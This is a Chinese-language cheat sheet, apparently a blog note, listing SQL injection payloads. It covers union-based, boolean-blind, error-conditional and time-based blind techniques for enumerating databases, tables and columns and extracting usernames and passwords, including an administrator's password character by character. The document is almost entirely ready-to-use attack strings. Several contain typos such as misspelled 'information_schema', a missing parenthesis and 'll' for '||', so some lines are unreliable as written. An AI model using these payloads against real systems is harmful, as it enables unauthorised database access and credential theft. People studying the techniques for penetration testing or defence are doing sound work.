SQL注入基本命令记录
0x01 sql注入命令记录
包含union注入、bool盲注和时间盲注。
0x02 基于union的sql注入
首先判断注入点是数字型还是字符型。
payload: 数字型:
and 1=1 / and 1=2
后面跟着截断符号(– ss) 字符型(单引号闭合):
' and '1'='1 / ' and '1'='2
,或者' and '1'='1'-- ss / ' and '1' = '2'-- ss
判断查询列数(以字符型单引号为例)
payload:
-1' order by 4-- ss
发现页面错误,但输入3的时候不报错,说明没有4列,只有3列。判断显示位置。
payload:
-1' union select '1','2','3'-- ss
【让第一行查询的结果是空集, 即union左边的 select子句直询结果为空(所以设置为-1),那么 union右边的查前结果自然就成为了第一行,打印在网页上了,查看网页上显示哪个数字,就在相应的位置上注入。】
注出数据库。(比如判断了回显位置是3)
payload: 获取所有数据库名->
-1' union select1,2,group_concat(SCHEMA_NAME) from information_ schema. SCHEMATA-- ss
【group_concat()表示一次性显示】。获取数据库名之后,针对某个数据库获取其表名字。(比如数库 security)
payload: 获取所有表名->
-1' union select 1,2,(select group_concat(table_name) from information_ schema.tables where table_schema='security')-- ss
针对某个表获取所有列名。(比如表 users)
payload:
-1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')-- ss
获取列中信息
payload:
-1' union select group_concat(concat(username ,'~', password)) from users-- ss
group_concat()表示分组拼接, concat表示聚合在一行,用’~’连接。
0x03 bool盲注
【第一种:查询正确与错误返回不同结果】
【枚举数据库】
获取数据库个数(‘+’表示空格,%d表示整数,%s表示字符串)。
payload: 1'+and+(select+count(SCHEMA_NAME)+FROM information_schema.SCHEMATA)=%d--+ss
针对每个数据库获取其长度。
payload: 1'+and+length((select+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+%d, 1))=%d-- ss
针对每个数据库获取其名称
payload: 1'+and+ascii(substr((select+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+%d,1),%d,1))--+ss
【 limit由0开始, substr由1开始】
【枚举表】
枚举某个数据库中表的数量
payload: 1'+and+(select+count(table_name)+FROM+information_schema.tables+WHERE+table_schema='%s')=%d--+ss
枚举某个数据库中表的长度
payload: 1'+and+length(select+table_name+FROM+information_schema.tables+WHERE+table_ schema='%s'+limit+%d,1))=%d--+ss
枚举表的名字
payload: 1'+and+ascii(substr((select+table_name+FROM+information_shema.tables+WHERE+table schema='%s'+limit+%d,1),%d,1))=%d--+ss
【枚举表中字段】
某个数据库中某个表中的字段数量枚举
payload: 1'+and+(select+count(column_name)+FROM+information_schema.columns+WHERE+table_ schema='%s'+and+table_name='%s')=%d--+ss
某个字段长度枚举
payload: 1'+and+length((select+column_name+FROM+infomation_schema.columns+WHERE+table_ schema='%s'+and+table_name='%s'+limit+%d,1))=%d--+ss
某个字段名称枚举
payload: 1'+and+ascii(substr((select+column_name+FROM+information_schema.columns+WHERE+table_schema='%s'+and+table_name='%s'+limit+%d,1),%d,1))=%d--+ss
【枚举字段中的数据】
枚举某个表中某个字段中数据的数量
payload: 1'+and+(select+count(%s)+FROM+%s)=%d--+ss
【count里面的参数是字段名称,第二个%s是表名称】
枚举某个字段中某个数据长度
payload: 1'+and+length((select+%s+FROM+%s+limit+%d,1))=%d--+ss
枚举某个字段中某个数据名称
payload: 1'+and+ascii(substr((select+%s+FROM+%s+limit+%d,1),%d,1))=%d--+ss
【第二种:无法利用or或者and时,创造错误条件】
【也就是说不论查询是否正确,都不会返回任何查向结果提示,除非sql查询本身出现错误】
payload: x' union select case when(username='administrator' and length(password)=20) then char(1/0) else null end from users-- ss
【上述这个语句,如果查向辺辑为真则出错,否则返回空页面】
0x04 时间盲注
测试时间盲注。
payload: x' ll sleep(10)
案例
【比如在知道 users表中, username字段中的个用戶名administrator/password序字段时候,猜解password】
payload: x' ll select case when (username ='administrator' and (substring(password,%d,1)='a') then sleep(10) else null end from users-- ss
【当里面的辑正确时,执行 sleep等待十秒返回,否则直接返回null】
关于不同数据库的睡眠函数
mysql: sleep(10)
pg sql: pg_sleep(10)
micrsoft: WAITFOR DELAY '0: 0: 10'
【关于bool和时间盲注,可利用 burpsuite的 intruder columns模块进行枚举,但是需要注意,时间盲注只能单线程跑。或者可以写一些 python脚本枚举(这里就不贴出博主的了,网上可以查询)】。